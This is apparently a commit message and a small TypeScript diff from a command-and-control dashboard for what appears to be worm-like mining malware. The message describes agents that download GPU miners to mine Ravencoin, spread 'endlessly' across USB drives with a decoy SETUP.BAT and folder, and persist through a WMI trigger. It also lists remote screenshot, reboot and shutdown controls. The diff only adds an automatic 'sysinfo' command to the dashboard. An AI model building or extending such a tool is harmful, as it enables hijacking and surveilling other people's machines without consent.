Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/web/src/pages/AgentsPage.tsx

@@ -213,6 +213,12 @@ export default function AgentsPage() {
     } catch (err) {
       console.error(err);
     }
+    // Auto-fetch sysinfo so the terminal is pre-populated immediately
+    if (agent.status === 'online') {
+      setTimeout(() => {
+        api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
+      }, 300);
+    }
   };
 
   const saveMeta = async () => {
@@ -606,6 +612,7 @@ export default function AgentsPage() {
                   agent={selectedAgent}
                   online={selectedAgent.status === 'online'}
                   commandResults={commandResults}
+                  showLiveStats
                   onCommandSent={(action: string) => {
                     if (action === 'get_log') refreshLog(true);
                   }}